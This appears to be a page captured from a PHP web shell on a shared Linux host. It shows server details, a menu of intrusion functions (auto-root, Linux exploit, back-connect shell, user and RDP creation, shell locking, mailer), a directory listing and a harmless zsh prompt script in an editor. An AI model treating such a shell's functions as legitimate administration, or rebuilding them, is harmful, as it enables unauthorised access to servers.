Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
zsh /
functions /
Misc /
[ HOME SHELL ]
Name
Size
Permission
Action
add-zle-hook-widget
5.25
KB
-rw-r--r--
add-zsh-hook
1.9
KB
-rw-r--r--
allopt
783
B
-rw-r--r--
checkmail
817
B
-rwxr-xr-x
colors
3.34
KB
-rw-r--r--
getjobs
827
B
-rw-r--r--
harden
96
B
-rwxr-xr-x
is-at-least
2.23
KB
-rw-r--r--
mere
2.02
KB
-rw-r--r--
nslookup
1.11
KB
-rw-r--r--
promptnl
3.23
KB
-rw-r--r--
regexp-replace
1.01
KB
-rw-r--r--
relative
888
B
-rw-r--r--
run-help
3
KB
-rwxr-xr-x
run-help-git
144
B
-rw-r--r--
run-help-ip
862
B
-rwxr-xr-x
run-help-openssl
59
B
-rw-r--r--
run-help-p4
78
B
-rw-r--r--
run-help-sudo
56
B
-rw-r--r--
run-help-svk
52
B
-rw-r--r--
run-help-svn
52
B
-rw-r--r--
sticky-note
4.59
KB
-rwxr-xr-x
tetris
5.31
KB
-rw-r--r--
tetriscurses
10.76
KB
-rw-r--r--
xtermctl
4.09
KB
-rw-r--r--
zargs
8.73
KB
-rw-r--r--
zcalc
11.92
KB
-rwxr-xr-x
zed
4
KB
-rwxr-xr-x
zkbd
7.12
KB
-rwxr-xr-x
zmathfuncdef
2.23
KB
-rw-r--r--
zmv
11.14
KB
-rw-r--r--
zrecompile
6.04
KB
-rw-r--r--
zstyle+
1.24
KB
-rw-r--r--
ztodo
1.37
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : promptnl
# Add `autoload promptnl' to your .zshrc, and include a call to promptnl # near the end of your precmd function. # # When promptnl runs, it asks the terminal to send back the current # position of the cursor. If the cursor is in column 1, it does nothing; # otherwise it prints a newline. Thus you get a newline exactly when one # is needed. # # Of course this can make it appear that `print -n' and friends have # failed to suppress the final newline; so promptnl outputs the value # of the EOLMARK parameter before the newline, with prompt sequences # expanded. So you can for example use EOLMARK='%B!%b' to put a bold # exclamation point at the end of the actual output. # There's another way to accomplish the equivalent, without reading the # cursor position from the terminal. Skip to the end of the file to see # that other way. emulate -L zsh # VT100 and ANSI terminals will report the cursor position when sent # the sequence ESC [ 6 n -- it comes back as ESC [ column ; line R # with of course no trailing newline. Column and line are 1-based. local RECV='' SEND='\e[6n' REPLY=X # If you are on a very slow tty, you may need to increase WAIT here. integer WAIT=1 # Make sure there's no typeahead, or it'll confuse things. Remove # this block entirely to use this function in 3.0.x at your own risk. while read -t -k 1 do RECV=$RECV$REPLY done if [[ -n $RECV ]] then print -z -r -- $RECV RECV='' REPLY=X fi # This is annoying, but zsh immediately resets it properly, so ... stty -echo # Output the SEND sequence and read back into RECV. In case this is # not a terminal that understands SEND, do a non-blocking read and # retry for at most WAIT seconds before giving up. Requires 3.1.9. # For 3.0.x, remove "-t" but don't call this on the wrong terminal! print -n $SEND integer N=$SECONDS while [[ $REPLY != R ]] && ((SECONDS - N <= WAIT)) do if read -t -k 1 then ((N=SECONDS)) RECV=$RECV$REPLY fi done # If the cursor is not in the first column, emit EOLMARK and newline. (( ${${${RECV#*\;}%R}:-0} > 1 )) && print -P -- $EOLMARK return 0 # OK, now here's the other way. Works on any auto-margin terminal, which # includes most terminals that respond to ESC [ 6 n as far as I know. It # prints a line of spaces exactly as wide as the terminal, then prints a # carriage return. If there are any characters already on the line, this # will cause the line to wrap, otherwise it won't. : setopt nopromptcr : PS1="%{${(pl:COLUMNS+1:: ::\r:)}%}$PS1" # On a very slow connection, you might be able to see the spaces getting # drawn and then overwritten, so reading the cursor position might work # better in that circumstance because it transmits fewer characters. It # also doesn't work if you resize the terminal. # To get the EOLMARK behavior, simply adjust the COLUMNS+1 expression to # account for the width of the mark, and include it. For example: : setopt nopromptcr : PS1="%{%S<EOL>%s${(pl:COLUMNS-4:: ::\r:)}%}$PS1" # The important bit is that the total width of the string inside %{...%} # has to be COLUMNS+1, where the extra character is the \r. However, I # recommend using a one-character EOLMARK to avoid having the line wrap # in the middle of the marker string: setopt nopromptcr PS1="%{%S#%s${(pl:COLUMNS:: ::\r:)}%}$PS1"
Close